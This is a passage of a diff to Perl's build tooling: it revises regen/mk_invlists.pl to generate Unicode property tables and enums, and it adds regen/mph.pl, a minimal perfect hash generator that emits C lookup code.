-    return mk_invlist_from_sorted_cp_list([ 128 .. 255 ]);
+    my @return = mk_invlist_from_sorted_cp_list([ 128 .. 255 ]);
+    return \@return;
 }
 
 sub output_table_common {
@@ -759,7 +1133,7 @@
     # regional indicator (RI) symbols if there is an odd number of RI
     # characters before the break point.  Must be resolved in runtime code.
     #
-    # GB12 ^ (RI RI)* RI × RI
+    # GB12 sot (RI RI)* RI × RI
     # GB13 [^RI] (RI RI)* RI × RI
     $gcb_table[$gcb_enums{'Regional_Indicator'}]
               [$gcb_enums{'Regional_Indicator'}] = $gcb_actions{GCB_RI_then_RI};
@@ -1496,6 +1870,7 @@
 
     my @wb_table;
     my $table_size = @wb_short_enums - 1;   # -1 because we don't use UNKNOWN
+    die "UNKNOWN must be final WB enum" unless $wb_short_enums[-1] =~ /unk/i;
 
     # Otherwise, break everywhere (including around ideographs).
     # WB99  Any  ÷  Any
@@ -1509,7 +1884,7 @@
     # regional indicator (RI) symbols if there is an odd number of RI
     # characters before the break point.
     # WB16  [^RI] (RI RI)* RI × RI
-    # WB15   ^    (RI RI)* RI × RI
+    # WB15   sot    (RI RI)* RI × RI
     $wb_table[$wb_enums{'Regional_Indicator'}]
              [$wb_enums{'Regional_Indicator'}] = $wb_actions{'WB_RI_then_RI'};
 
@@ -1715,6 +2090,22 @@
                         \@wb_table, \@wb_short_enums, \%wb_abbreviations);
 }
 
+sub sanitize_name ($) {
+    # Change the non-word characters in the input string to standardized word
+    # equivalents
+    #
+    my $sanitized = shift;
+    $sanitized =~ s/=/__/;
+    $sanitized =~ s/&/_AMP_/;
+    $sanitized =~ s/\./_DOT_/;
+    $sanitized =~ s/-/_MINUS_/;
+    $sanitized =~ s!/!_SLASH_!;
+
+    return $sanitized;
+}
+
+switch_pound_if ('ALL', 'PERL_IN_UTF8_C');
+
 output_invlist("Latin1", [ 0, 256 ]);
 output_invlist("AboveLatin1", [ 256 ]);
 
@@ -1743,68 +2134,174 @@
 # An initial & means to use the subroutine from this file instead of an
 # official inversion list.
 
-for my $charset (get_supported_code_pages()) {
-    print $out_fh "\n" . get_conditional_compile_line_start($charset);
+# Below is the list of property names to generate.  '&' means to use the
+# subroutine to generate the inversion list instead of the generic code
+# below.  Some properties have a comma-separated list after the name,
+# These are extra enums to add to those found in the Unicode tables.
+no warnings 'qw';
+                        # Ignore non-alpha in sort
+my @props;
+push @props, sort { prop_name_for_cmp($a) cmp prop_name_for_cmp($b) } qw(
+                    &NonL1_Perl_Non_Final_Folds
+                    &UpperLatin1
+                    _Perl_GCB,E_Base,E_Base_GAZ,E_Modifier,Glue_After_Zwj,LV,Prepend,Regional_Indicator,SpacingMark,ZWJ,EDGE
+                    _Perl_LB,Close_Parenthesis,Hebrew_Letter,Next_Line,Regional_Indicator,ZWJ,Contingent_Break,E_Base,E_Modifier,H2,H3,JL,JT,JV,Word_Joiner,EDGE,
+                    _Perl_SB,SContinue,CR,Extend,LF,EDGE
+                    _Perl_WB,CR,Double_Quote,E_Base,E_Base_GAZ,E_Modifier,Extend,Glue_After_Zwj,Hebrew_Letter,LF,MidNumLet,Newline,Regional_Indicator,Single_Quote,ZWJ,EDGE,UNKNOWN
+                    _Perl_SCX,Latin,Inherited,Unknown,Kore,Jpan,Hanb,INVALID
+                    Lowercase_Mapping
+                    Titlecase_Mapping
+                    Uppercase_Mapping
+                    Simple_Case_Folding
+                    Case_Folding
+                    &_Perl_IVCF
+                );
+                # NOTE that the convention is that extra enum values come
+                # after the property name, separated by commas, with the enums
+                # that aren't ever defined by Unicode coming last, at least 4
+                # all-uppercase characters.  The others are enum names that
+                # are needed by perl, but aren't in all Unicode releases.
 
-    @a2n = @{get_a2n($charset)};
-    no warnings 'qw';
-                         # Ignore non-alpha in sort
-    for my $prop (sort { prop_name_for_cmp($a) cmp prop_name_for_cmp($b) } qw(
-                             Assigned
-                             ASCII
-                             Cased
-                             VertSpace
-                             XPerlSpace
-                             XPosixAlnum
-                             XPosixAlpha
-                             XPosixBlank
-                             XPosixCntrl
-                             XPosixDigit
-                             XPosixGraph
-                             XPosixLower
-                             XPosixPrint
-                             XPosixPunct
-                             XPosixSpace
-                             XPosixUpper
-                             XPosixWord
-                             XPosixXDigit
-                             _Perl_Any_Folds
-                             &NonL1_Perl_Non_Final_Folds
-                             _Perl_Folds_To_Multi_Char
-                             &UpperLatin1
-                             _Perl_IDStart
-                             _Perl_IDCont
-                             _Perl_GCB,EDGE
-                             _Perl_LB,EDGE
-                             _Perl_SB,EDGE
-                             _Perl_WB,EDGE,UNKNOWN
-                           )
-    ) {
+my @bin_props;
+my %enums;
+my @deprecated_messages = "";   # Element [0] is a placeholder
+my %deprecated_tags;
 
-        # For the Latin1 properties, we change to use the eXtended version of the
-        # base property, then go through the result and get rid of everything not
-        # in Latin1 (above 255).  Actually, we retain the element for the range
-        # that crosses the 255/256 boundary if it is one that matches the
-        # property.  For example, in the Word property, there is a range of code
-        # points that start at U+00F8 and goes through U+02C1.  Instead of
-        # artificially cutting that off at 256 because 256 is the first code point
-        # above Latin1, we let the range go to its natural ending.  That gives us
-        # extra information with no added space taken.  But if the range that
-        # crosses the boundary is one that doesn't match the property, we don't
-        # start a new range above 255, as that could be construed as going to
-        # infinity.  For example, the Upper property doesn't include the character
-        # at 255, but does include the one at 256.  We don't include the 256 one.
-        my $prop_name = $prop;
-        my $is_local_sub = $prop_name =~ s/^&//;
-        my $extra_enums = "";
-        $extra_enums = $1 if $prop_name =~ s/, ( .* ) //x;
-        my $lookup_prop = $prop_name;
-        my $l1_only = ($lookup_prop =~ s/^L1Posix/XPosix/
-                       or $lookup_prop =~ s/^L1//);
-        my $nonl1_only = 0;
-        $nonl1_only = $lookup_prop =~ s/^NonL1// unless $l1_only;
-        ($lookup_prop, my $has_suffixes) = $lookup_prop =~ / (.*) ( , .* )? /x;
+# Collect all the binary properties from data in lib/unicore
+# Sort so that complements come after the main table, and the shortest
+# names first, finally alphabetically.
+foreach my $property (sort
+        {   exists $keep_together{lc $b} <=> exists $keep_together{lc $a}
+         or $a =~ /!/ <=> $b =~ /!/
+         or length $a <=> length $b
+         or $a cmp $b
+        }   keys %utf8::loose_to_file_of,
+            keys %utf8::stricter_to_file_of
+) {
 
+    # These two hashes map properties to values that can be considered to
+    # be checksums.  If two properties have the same checksum, they have
+    # identical entries.  Otherwise they differ in some way.
+    my $tag = $utf8::loose_to_file_of{$property};
+    $tag = $utf8::stricter_to_file_of{$property} unless defined $tag;
+
+    # The tag may contain an '!' meaning it is identical to the one formed
+    # by removing the !, except that it is inverted.
+    my $inverted = $tag =~ s/!//;
+
+    # The list of 'prop=value' entries that this single entry expands to
+    my @this_entries;
+
+    # Split 'property=value' on the equals sign, with $lhs being the whole
+    # thing if there is no '='
+    my ($lhs, $rhs) = $property =~ / ( [^=]* ) ( =? .*) /x;
+
+    # $lhs then becomes the property name.  See if there are any synonyms
+    # for this property.
+    if (exists $prop_name_aliases{$lhs}) {
+
+        # If so, do the combinatorics so that a new entry is added for
+        # each legal property combined with the property value (which is
+        # $rhs)
+        foreach my $alias (@{$prop_name_aliases{$lhs}}) {
+
+            # But, there are some ambiguities, like 'script' is a synonym
+            # for 'sc', and 'sc' can stand alone, meaning something
+            # entirely different than 'script'.  'script' cannot stand
+            # alone.  Don't add if the potential new lhs is in the hash of
+            # stand-alone properties.
+            no warnings 'once';
+            next if $rhs eq "" &&  grep { $alias eq $_ }
+                                    keys %utf8::loose_property_to_file_of;
+
+            my $new_entry = $alias . $rhs;
+            push @this_entries, $new_entry
+                            unless grep { $_ eq $new_entry } @this_entries;
+        }
+    }
+
+    # Above, we added the synonyms for the base entry we're now
+    # processing.  But we haven't dealt with it yet.  If we already have a
+    # property with the identical characteristics, this becomes just a
+    # synonym for it.
+    if (exists $enums{$tag}) {
+        push @this_entries, $property;
+    }
+    else { # Otherwise, create a new entry.
+
+        # Add to the list of properties to generate inversion lists for.
+        push @bin_props, uc $property;
+
+        # Create a rule for the parser
+        if (! exists $keywords{$property}) {
+            $keywords{$property} = token_name($property);
+        }
+
+        # And create an enum for it.
+        $enums{$tag} = $table_name_prefix . uc sanitize_name($property);
+
+        # Some properties are deprecated.  This hash tells us so, and the
+        # warning message to raise if they are used.
+        if (exists $utf8::why_deprecated{$tag}) {
+            $deprecated_tags{$enums{$tag}} = scalar @deprecated_messages;
+            push @deprecated_messages, $utf8::why_deprecated{$tag};
+        }
+
+        # Our sort above should have made sure that we see the
+        # non-inverted version first, but this makes sure.
+        warn "$property is inverted!!!" if $inverted;
+    }
+
+    # Everything else is #defined to be the base enum, inversion is
+    # indicated by negating the value.
+    my $defined_to = "";
+    $defined_to .= "-" if $inverted;
+    $defined_to .= $enums{$tag};
+
+    # Go through the entries that evaluate to this.
+    foreach my $define (@this_entries) {
+
+        # There is a rule for the parser for each.
+        $keywords{$define} = $defined_to;
+    }
+}
+
+ at bin_props = sort {  exists $keep_together{lc $b} <=> exists $keep_together{lc $a}
+                   or $a cmp $b
+                  } @bin_props;
+push @props, @bin_props;
+
+foreach my $prop (@props) {
+
+    # For the Latin1 properties, we change to use the eXtended version of the
+    # base property, then go through the result and get rid of everything not
+    # in Latin1 (above 255).  Actually, we retain the element for the range
+    # that crosses the 255/256 boundary if it is one that matches the
+    # property.  For example, in the Word property, there is a range of code
+    # points that start at U+00F8 and goes through U+02C1.  Instead of
+    # artificially cutting that off at 256 because 256 is the first code point
+    # above Latin1, we let the range go to its natural ending.  That gives us
+    # extra information with no added space taken.  But if the range that
+    # crosses the boundary is one that doesn't match the property, we don't
+    # start a new range above 255, as that could be construed as going to
+    # infinity.  For example, the Upper property doesn't include the character
+    # at 255, but does include the one at 256.  We don't include the 256 one.
+    my $prop_name = $prop;
+    my $is_local_sub = $prop_name =~ s/^&//;
+    my $extra_enums = "";
+    $extra_enums = $1 if $prop_name =~ s/, ( .* ) //x;
+    my $lookup_prop = $prop_name;
+    $prop_name = sanitize_name($prop_name);
+    $prop_name = $table_name_prefix . $prop_name if grep { lc $lookup_prop eq lc $_ } @bin_props;
+    my $l1_only = ($lookup_prop =~ s/^L1Posix/XPosix/
+                    or $lookup_prop =~ s/^L1//);
+    my $nonl1_only = 0;
+    $nonl1_only = $lookup_prop =~ s/^NonL1// unless $l1_only;
+    ($lookup_prop, my $has_suffixes) = $lookup_prop =~ / (.*) ( , .* )? /x;
+
+    for my $charset (get_supported_code_pages()) {
+        @a2n = @{get_a2n($charset)};
+
         my @invlist;
         my @invmap;
         my $map_format;
@@ -1811,9 +2308,19 @@
         my $map_default;
         my $maps_to_code_point;
         my $to_adjust;
+        my $same_in_all_code_pages;
         if ($is_local_sub) {
-            @invlist = eval $lookup_prop;
+            my @return = eval $lookup_prop;
             die $@ if $@;
+            my $invlist_ref = shift @return;
+            @invlist = @$invlist_ref;
+            if (@return) {  # If has other values returned , must be an
+                            # inversion map
+                my $invmap_ref = shift @return;
+                @invmap = @$invmap_ref;
+                $map_format = shift @return;
+                $map_default = shift @return;
+            }
         }
         else {
             @invlist = prop_invlist($lookup_prop, '_perl_core_internal_ok');
@@ -1829,8 +2336,12 @@
                     # in scalar context to differentiate
                     my $count = prop_invlist($lookup_prop,
                                              '_perl_core_internal_ok');
+                    if (defined $count) {
+                        # Short-circuit an empty inversion list.
+                        output_invlist($prop_name, \@invlist, $charset);
+                        last;
+                    }
                     die "Could not find inversion list for '$lookup_prop'"
-                                                          unless defined $count;
                 }
                 else {
                     @invlist = @$list_ref;
@@ -1837,19 +2348,12 @@
                     @invmap = @$map_ref;
                     $map_format = $format;
                     $map_default = $default;
-                    $maps_to_code_point = $map_format =~ /x/;
+                    $maps_to_code_point = $map_format =~ / a ($ | [^r] ) /x;
                     $to_adjust = $map_format =~ /a/;
                 }
             }
         }
 
-
-        # Short-circuit an empty inversion list.
-        if (! @invlist) {
-            output_invlist($prop_name, \@invlist, $charset);
-            next;
-        }
-
         # Re-order the Unicode code points to native ones for this platform.
         # This is only needed for code points below 256, because native code
         # points are only in that range.  For inversion maps of properties
@@ -1872,41 +2376,42 @@
         # of 0..256, as the remap will also include all of 0..256  (256 not
         # 255 because a re-ordering could cause 256 to need to be in the same
         # range as 255.)
-        if ((@invmap && $maps_to_code_point)
-            || (! $nonl1_only || ($invlist[0] < 256
-                                  && ! ($invlist[0] == 0 && $invlist[1] > 256))))
+        if (       (@invmap && $maps_to_code_point)
+            || (   ($invlist[0] < 256
+                && (    $invlist[0] != 0
+                    || (scalar @invlist != 1 && $invlist[1] < 256)))))
         {
-
+            $same_in_all_code_pages = 0;
             if (! @invmap) {    # Straight inversion list
-            # Look at all the ranges that start before 257.
-            my @latin1_list;
-            while (@invlist) {
-                last if $invlist[0] > 256;
-                my $upper = @invlist > 1
-                            ? $invlist[1] - 1      # In range
+                # Look at all the ranges that start before 257.
+                my @latin1_list;
+                while (@invlist) {
+                    last if $invlist[0] > 256;
+                    my $upper = @invlist > 1
+                                ? $invlist[1] - 1      # In range
 
-                              # To infinity.  You may want to stop much much
-                              # earlier; going this high may expose perl
-                              # deficiencies with very large numbers.
-                            : $Unicode::UCD::MAX_CP;
-                for my $j ($invlist[0] .. $upper) {
-                    push @latin1_list, a2n($j);
+                                # To infinity.  You may want to stop much much
+                                # earlier; going this high may expose perl
+                                # deficiencies with very large numbers.
+                                : 256;
+                    for my $j ($invlist[0] .. $upper) {
+                        push @latin1_list, a2n($j);
+                    }
+
+                    shift @invlist; # Shift off the range that's in the list
+                    shift @invlist; # Shift off the range not in the list
                 }
 
-                shift @invlist; # Shift off the range that's in the list
-                shift @invlist; # Shift off the range not in the list
+                # Here @invlist contains all the ranges in the original that
+                # start at code points above 256, and @latin1_list contains
+                # all the native code points for ranges that start with a
+                # Unicode code point below 257.  We sort the latter and
+                # convert it to inversion list format.  Then simply prepend it
+                # to the list of the higher code points.
+                @latin1_list = sort { $a <=> $b } @latin1_list;
+                @latin1_list = mk_invlist_from_sorted_cp_list(\@latin1_list);
+                unshift @invlist, @latin1_list;
             }
-
-            # Here @invlist contains all the ranges in the original that start
-            # at code points above 256, and @latin1_list contains all the
-            # native code points for ranges that start with a Unicode code
-            # point below 257.  We sort the latter and convert it to inversion
-            # list format.  Then simply prepend it to the list of the higher
-            # code points.
-            @latin1_list = sort { $a <=> $b } @latin1_list;
-            @latin1_list = mk_invlist_from_sorted_cp_list(\@latin1_list);
-            unshift @invlist, @latin1_list;
-            }
             else {  # Is an inversion map
 
                 # This is a similar procedure as plain inversion list, but has
@@ -1926,7 +2431,11 @@
                 # to look at the whole of the inversion map (or at least to
                 # above Unicode; as the maps of code points above that should
                 # all be to the default).
-                my $upper_limit = ($maps_to_code_point) ? 0x10FFFF : 256;
+                my $upper_limit = (! $maps_to_code_point)
+                                   ? 256
+                                   : (Unicode::UCD::UnicodeVersion() eq '1.1.5')
+                                      ? 0xFFFF
+                                      : 0x10FFFF;
 
                 my %mapped_lists;   # A hash whose keys are the buckets.
                 while (@invlist) {
@@ -1934,7 +2443,7 @@
 
                     # This shouldn't actually happen, as prop_invmap() returns
                     # an extra element at the end that is beyond $upper_limit
-                    die "inversion map that extends to infinity is unimplemented" unless @invlist > 1;
+                    die "inversion map (for $prop_name) that extends to infinity is unimplemented" unless @invlist > 1;
 
                     my $bucket;
 
@@ -1941,12 +2450,9 @@
                     # A hash key can't be a ref (we are only expecting arrays
                     # of scalars here), so convert any such to a string that
                     # will be converted back later (using a vertical tab as
-                    # the separator).  Even if the mapping is to code points,
-                    # we don't translate to native here because the code
-                    # output_map() calls to output these arrays assumes the
-                    # input is Unicode, not native.
+                    # the separator).
                     if (ref $invmap[0]) {
-                        $bucket = join "\cK", @{$invmap[0]};
+                        $bucket = join "\cK", map { a2n($_) }  @{$invmap[0]};
                     }
                     elsif ($maps_to_code_point && $invmap[0] =~ $numeric_re) {
 
@@ -1999,9 +2505,9 @@
                 # originals that start with code points above $upper_limit.
                 # Each bucket in %mapped_lists contains all the code points
                 # that map to that bucket.  If the bucket is for a map to a
-                # single code point is a single code point, the bucket has
-                # been converted to native.  If something else (including
-                # multiple code points), no conversion is done.
+                # single code point, the bucket has been converted to native.
+                # If something else (including multiple code points), no
+                # conversion is done.
                 #
                 # Now we recreate the inversion map into %xlated, but this
                 # time for the native character set.
@@ -2027,7 +2533,17 @@
                             @{$xlated{$range_start}} = split /\cK/, $bucket;
                         }
                         else {
-                            $xlated{$range_start} = $bucket;
+                            # If adjusting, and there is more than one thing
+                            # that maps to the same thing, they must be split
+                            # so that later the adjusting doesn't think the
+                            # subsequent items can go away because of the
+                            # adjusting.
+                            my $range_end = ($to_adjust && $bucket != $map_default)
+                                             ? $mapped_lists{$bucket}->[1] - 1
+                                             : $range_start;
+                            for my $i ($range_start .. $range_end) {
+                                $xlated{$i} = $bucket;
+                            }
                         }
                         shift @{$mapped_lists{$bucket}}; # Discard odd ranges
                         shift @{$mapped_lists{$bucket}}; # Get ready for next
@@ -2069,6 +2585,9 @@
                 unshift @invlist, @new_invlist;
             }
         }
+        else {
+            $same_in_all_code_pages = 1;
+        }
 
         # prop_invmap() returns an extra final entry, which we can now
         # discard.
@@ -2126,13 +2645,79 @@
             die "No non-Latin1 code points in $lookup_prop" unless $found_nonl1;
         }
 
-        output_invlist($prop_name, \@invlist, $charset);
-        output_invmap($prop_name, \@invmap, $lookup_prop, $map_format, $map_default, $extra_enums, $charset) if @invmap;
+        switch_pound_if ($prop_name, 'PERL_IN_UTF8_C');
+        start_charset_pound_if($charset, 1) unless $same_in_all_code_pages;
+
+        output_invlist($prop_name, \@invlist, ($same_in_all_code_pages)
+                                              ? $applies_to_all_charsets_text
+                                              : $charset);
+
+        if (@invmap) {
+            output_invmap($prop_name, \@invmap, $lookup_prop, $map_format,
+                          $map_default, $extra_enums, $charset);
+        }
+
+        last if $same_in_all_code_pages;
+        end_charset_pound_if;
     }
-    end_file_pound_if;
-    print $out_fh "\n" . get_conditional_compile_line_end();
 }
 
+switch_pound_if ('binary_property_tables', 'PERL_IN_UTF8_C');
+
+print $out_fh "\nconst char * deprecated_property_msgs[] = {\n\t";
+print $out_fh join ",\n\t", map { "\"$_\"" } @deprecated_messages;
+print $out_fh "\n};\n";
+
+switch_pound_if ('binary_property_tables', [ 'PERL_IN_UTF8_C',
+                                             'PERL_IN_UNI_KEYWORDS_C',
+                                            ]);
+
+my @enums = sort values %enums;
+
+# Save a copy of these before modification
+my @invlist_names = map { "${_}_invlist" } @enums;
+
+# Post-process the enums for deprecated properties.
+if (scalar keys %deprecated_tags) {
+    my $seen_deprecated = 0;
+    foreach my $enum (@enums) {
+        if (grep { $_ eq $enum } keys %deprecated_tags) {
+
+            # Change the enum name for this deprecated property to a
+            # munged one to act as a placeholder in the typedef.  Then
+            # make the real name be a #define whose value is such that
+            # its modulus with the number of enums yields the index into
+            # the table occupied by the placeholder.  And so that dividing
+            # the #define value by the table length gives an index into
+            # the table of deprecation messages for the corresponding
+            # warning.
+            my $revised_enum = "${enum}_perl_aux";
+            if (! $seen_deprecated) {
+                $seen_deprecated = 1;
+                print $out_fh "\n";
+            }
+            print $out_fh "#define $enum ($revised_enum + (MAX_UNI_KEYWORD_INDEX * $deprecated_tags{$enum}))\n";
+            $enum = $revised_enum;
+        }
+    }
+}
+
+print $out_fh "\ntypedef enum {\n\tPERL_BIN_PLACEHOLDER = 0,\n\t";
+print $out_fh join ",\n\t", @enums;
+print $out_fh "\n";
+print $out_fh "} binary_invlist_enum;\n";
+print $out_fh "\n#define MAX_UNI_KEYWORD_INDEX $enums[-1]\n";
+
+switch_pound_if ('binary_property_index_table', 'PERL_IN_UTF8_C' );
+
+print $out_fh "\nstatic const UV * const PL_uni_prop_ptrs\[] = {\n";
+print $out_fh "\tNULL,\t/* Placeholder */\n\t";
+print $out_fh join ",\n\t", @invlist_names;
+print $out_fh "\n";
+print $out_fh "};\n";
+
+end_file_pound_if;
+
 switch_pound_if('Boundary_pair_tables', 'PERL_IN_REGEXEC_C');
 
 output_GCB_table();
@@ -2142,10 +2727,11 @@
 end_file_pound_if;
 
 my $sources_list = "lib/unicore/mktables.lst";
-my @sources = ($0, qw(lib/unicore/mktables
-                      lib/Unicode/UCD.pm
-                      regen/charset_translations.pl
-                      ));
+my @sources = qw(regen/mk_invlists.pl
+                 lib/unicore/mktables
+                 lib/Unicode/UCD.pm
+                 regen/charset_translations.pl
+               );
 {
     # Depend on mktables’ own sources.  It’s a shorter list of files than
     # those that Unicode::UCD uses.
@@ -2164,3 +2750,23 @@
 }
 
 read_only_bottom_close_and_rename($out_fh, \@sources);
+
+require './regen/mph.pl';
+
+sub token_name
+{
+    my $name = sanitize_name(shift);
+    warn "$name contains non-word" if $name =~ /\W/a;
+
+    return "$table_name_prefix\U$name"
+}
+
+my $keywords_fh = open_new('uni_keywords.h', '>',
+		  {style => '*', by => 'regen/mk_invlists.pl',
+                  from => "mph.pl"});
+
+my ($second_level, $seed1, $length_all_keys, $smart_blob, $rows) = MinimalPerfectHash::make_mph_from_hash(\%keywords);
+print $keywords_fh MinimalPerfectHash::make_algo($second_level, $seed1, $length_all_keys, $smart_blob, $rows, undef, undef, undef, 'match_uniprop' );
+
+push @sources, 'regen/mph.pl';
+read_only_bottom_close_and_rename($keywords_fh, \@sources);

Added: vendor/perl/dist/regen/mph.pl
===================================================================
--- vendor/perl/dist/regen/mph.pl	                        (rev 0)
+++ vendor/perl/dist/regen/mph.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,491 @@
+package MinimalPerfectHash;
+use strict;
+use warnings;
+use Data::Dumper;
+use Carp;
+use Text::Wrap;
+
+my $DEBUG= 0;
+my $RSHIFT= 8;
+my $FNV_CONST= 16777619;
+
+sub _fnv {
+    my ($key, $seed)= @_;
+
+    my $hash = 0+$seed;
+    foreach my $char (split //, $key) {
+        $hash = $hash ^ ord($char);
+        $hash = ($hash * $FNV_CONST) & 0xFFFFFFFF;
+    }
+    return $hash;
+}
+
+sub build_perfect_hash {
+    my ($hash, $split_pos)= @_;
+
+    my $n= 0+keys %$hash;
+    my $max_h= 0xFFFFFFFF;
+    $max_h -= $max_h % $n; # this just avoids a tiny bit bias
+    my $seed1= unpack("N", "Perl") - 1;
+    my $hash_to_key;
+    my $key_to_hash;
+    my $length_all_keys;
+    my $key_buckets;
+    SEED1:
+    for ($seed1++;1;$seed1++) {
+        my %hash_to_key;
+        my %key_to_hash;
+        my %key_buckets;
+        my %high;
+        $length_all_keys= 0;
+        foreach my $key (sort keys %$hash) {
+            $length_all_keys += length $key;
+            my $h= _fnv($key,$seed1);
+            next SEED1 if $h >= $max_h; # check if this hash would bias, and if so find a new seed
+            next SEED1 if exists $hash_to_key{$h};
+            next SEED1 if $high{$h >> $RSHIFT}++;
+            $hash_to_key{$h}= $key;
+            $key_to_hash{$key}= $h;
+            push @{$key_buckets{$h % $n}}, $key;
+        }
+        $hash_to_key= \%hash_to_key;
+        $key_to_hash= \%key_to_hash;
+        $key_buckets= \%key_buckets;
+        last SEED1;
+    }
+
+    my %token;
+    my @first_level;
+    my @second_level;
+    foreach my $first_idx (sort { @{$key_buckets->{$b}} <=> @{$key_buckets->{$a}} || $a <=> $b } keys %$key_buckets) {
+        my $keys= $key_buckets->{$first_idx};
+        #printf "got %d keys in bucket %d\n", 0+@$keys, $first_idx;
+        my $seed2;
+        SEED2:
+        for ($seed2=1;1;$seed2++) {
+            goto FIND_SEED if $seed2 > 0xFFFF;
+            my @idx= map {
+                ( ( ( $key_to_hash->{$_} >> $RSHIFT ) ^ $seed2 ) & 0xFFFFFFFF ) % $n
+            } @$keys;
+            my %seen;
+            next SEED2 if grep { $second_level[$_] || $seen{$_}++ } @idx;
+            $first_level[$first_idx]= $seed2;
+            @second_level[@idx]= map {
+                my $sp= $split_pos->{$_} // die "no split pos for '$_':$!";
+                my ($prefix,$suffix)= unpack "A${sp}A*", $_;
+
+                +{
+                    key     => $_,
+                    prefix  => $prefix,
+                    suffix  => $suffix,
+                    hash    => $key_to_hash->{$_},
+                    value   => $hash->{$_},
+                    seed2   => 0,
+                }
+            } @$keys;
+            last;
+        }
+
+    }
+    $second_level[$_]{seed2}= $first_level[$_]||0, $second_level[$_]{idx}= $_ for 0 .. $#second_level;
+
+    return $seed1, \@second_level, $length_all_keys;
+}
+
+sub build_split_words {
+    my ($hash, $preprocess, $blob, $old_res)= @_;
+    my %appended;
+    $blob //= "";
+    if ($preprocess) {
+        my %parts;
+        foreach my $key (sort {length($b) <=> length($a) || $a cmp $b } keys %$hash) {
+            my ($prefix,$suffix);
+            if ($key=~/^([^=]+=)([^=]+)\z/) {
+                ($prefix,$suffix)= ($1, $2);
+                $parts{$suffix}++;
+                #$parts{$prefix}++;
+            } else {
+                $prefix= $key;
+                $parts{$prefix}++;
+            }
+
+        }
+        foreach my $key (sort {length($b) <=> length($a) || $a cmp $b } keys %parts) {
+            $blob .= $key . "\0";
+        }
+        printf "Using preprocessing, initial blob size %d\n", length($blob);
+    } else {
+        printf "No preprocessing, initial blob size %d\n", length($blob);
+    }
+    my %res;
+
+    REDO:
+    %res= ();
+    KEY:
+    foreach my $key (
+        sort {
+            (length($b) <=> length($a)) ||
+            ($a cmp $b)
+        }
+        keys %$hash
+    ) {
+        next if exists $res{$key};
+        if (index($blob,$key) >= 0 ) {
+            my $idx= length($key);
+            if ($DEBUG and $old_res and $old_res->{$key} != $idx) {
+                print "changing: $key => $old_res->{$key} : $idx\n";
+            }
+            $res{$key}= $idx;
+            next KEY;
+        }
+        my $best= length($key);
+        my $append= $key;
+        my $min= 0; #length $key >= 4 ? 4 : 0;
+        my $best_prefix;
+        my $best_suffix;
+        foreach my $idx (reverse $min .. length($key)) {
+            my $prefix= substr($key,0,$idx);
+            my $suffix= substr($key,$idx);
+            my $i1= index($blob,$prefix)>=0;
+            my $i2= index($blob,$suffix)>=0;
+            if ($i1 and $i2) {
+                if ($DEBUG and $old_res and $old_res->{$key} != $idx) {
+                    print "changing: $key => $old_res->{$key} : $idx\n";
+                }
+                $res{$key}= $idx;
+                $appended{$prefix}++;
+                $appended{$suffix}++;
+                next KEY;
+            } elsif ($i1) {
+                if (length $suffix <= length $append) {
+                    $best= $idx;
+                    $append= $suffix;
+                    $best_prefix= $prefix;
+                    $best_suffix= $suffix;
+                }
+            } elsif ($i2) {
+                if (length $prefix <= length $append) {
+                    $best= $idx;
+                    $append= $prefix;
+                    $best_prefix= $prefix;
+                    $best_suffix= $suffix;
+                }
+            }
+        }
+        if ($DEBUG and $old_res and $old_res->{$key} != $best) {
+            print "changing: $key => $old_res->{$key} : $best\n";
+        }
+        #print "$best_prefix|$best_suffix => $best => $append\n";
+        $res{$key}= $best;
+        $blob .= $append;
+        $appended{$best_prefix}++;
+        $appended{$best_suffix}++;
+    }
+    my $b2 = "";
+    foreach my $key (sort { length($b) <=> length($a) || $a cmp $b } keys %appended) {
+        $b2 .= $key unless index($b2,$key)>=0;
+    }
+    if (length($b2)<length($blob)) {
+        printf "Length old blob: %d length new blob: %d, recomputing using new blob\n", length($blob),length($b2);
+        $blob= $b2;
+        %appended=();
+        goto REDO;
+    } else {
+        printf "Length old blob: %d length new blob: %d, keeping old blob\n", length($blob),length($b2);
+    }
+    die sprintf "not same size? %d != %d", 0+keys %res, 0+keys %$hash unless keys %res == keys %$hash;
+    return ($blob,\%res);
+}
+
+
+sub blob_as_code {
+    my ($blob,$blob_name)= @_;
+
+    $blob_name ||= "mph_blob";
+
+    # output the blob as C code.
+    my @code= (sprintf "STATIC const unsigned char %s[] =\n",$blob_name);
+    my $blob_len= length $blob;
+    while (length($blob)) {
+        push @code, sprintf qq(    "%s"), substr($blob,0,65,"");
+        push @code, length $blob ? "\n" : ";\n";
+    }
+    push @code, "/* $blob_name length: $blob_len */\n";
+    return join "", at code;
+}
+
+sub print_includes {
+    my $ofh= shift;
+    print $ofh "#include <stdio.h>\n";
+    print $ofh "#include <string.h>\n";
+    print $ofh "#include <stdint.h>\n";
+    print $ofh "\n";
+}
+
+sub print_defines {
+    my ($ofh,$defines)= @_;
+
+    my $key_len;
+    foreach my $def (keys %$defines) {
+        $key_len //= length $def;
+        $key_len= length $def if $key_len < length $def;
+    }
+    foreach my $def (sort keys %$defines) {
+        printf $ofh "#define %*s %5d\n", -$key_len, $def, $defines->{$def};
+    }
+    print $ofh "\n";
+}
+
+
+sub build_array_of_struct {
+    my ($second_level,$blob)= @_;
+
+    my %defines;
+    my %tests;
+    my @rows;
+    foreach my $row (@$second_level) {
+        $defines{$row->{value}}= $row->{idx}+1;
+        $tests{$row->{key}}= $defines{$row->{value}};
+        my @u16= (
+            $row->{seed2},
+            index($blob,$row->{prefix}//0),
+            index($blob,$row->{suffix}//0),
+        );
+        $_ > 0xFFFF and die "panic: value exceeds range of U16"
+            for @u16;
+        my @u8= (
+            length($row->{prefix}),
+            length($row->{suffix}),
+        );
+        $_ > 0xFF and die "panic: value exceeds range of U8"
+            for @u8;
+        push @rows, sprintf("  { %5d, %5d, %5d, %3d, %3d, %s }   /* %s%s */",
+            @u16, @u8, $row->{value}, $row->{prefix}, $row->{suffix});
+    }
+    return \@rows,\%defines,\%tests;
+}
+
+sub make_algo {
+    my ($second_level, $seed1, $length_all_keys, $smart_blob, $rows,
+        $blob_name, $struct_name, $table_name, $match_name, $prefix) = @_;
+
+    $blob_name ||= "mph_blob";
+    $struct_name ||= "mph_struct";
+    $table_name ||= "mph_table";
+    $prefix ||= "MPH";
+
+    my $n= 0+@$second_level;
+    my $data_size= 0+@$second_level * 8 + length $smart_blob;
+
+    my @code = "#define ${prefix}_VALt I16\n\n";
+    push @code, "/*\n";
+    push @code, sprintf "rows: %s\n", $n;
+    push @code, sprintf "seed: %s\n", $seed1;
+    push @code, sprintf "full length of keys: %d\n", $length_all_keys;
